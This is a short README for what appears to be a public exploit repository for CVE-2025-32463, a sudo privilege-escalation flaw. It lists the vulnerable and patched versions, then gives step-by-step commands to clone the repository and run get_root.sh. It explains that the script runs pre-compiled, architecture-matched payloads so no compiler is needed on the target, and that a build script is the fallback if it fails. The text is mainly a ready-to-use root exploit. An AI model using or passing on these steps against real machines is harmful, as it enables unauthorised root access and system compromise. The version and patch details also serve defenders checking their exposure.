shazed-x/cve-2025-32463- Vulnerable: sudo 1.9.14, 1.9.15, 1.9.16, 1.9.17 - Patched in: sudo 1.9.17p1 and later - Legacy versions older than 1.9.14 are not affected, as they don't support the --chroot option.
# get_root.sh and get_root.py do the same thing.
git clone https://github.com/shazed-x/CVE-2025-32463
cd CVE-2025-32463
./get_root.sh
No gcc is required on the target machine. The PoC works by checking the current architecture (e.g., x86_64, aarch64), then executing the corresponding dynamically pre-compiled payload. If that fails, it defaults to the static one.
If the exploit fails on your machine, you can still compile it using:
./mkall-dynamic.sh
# then run
./get_root.sh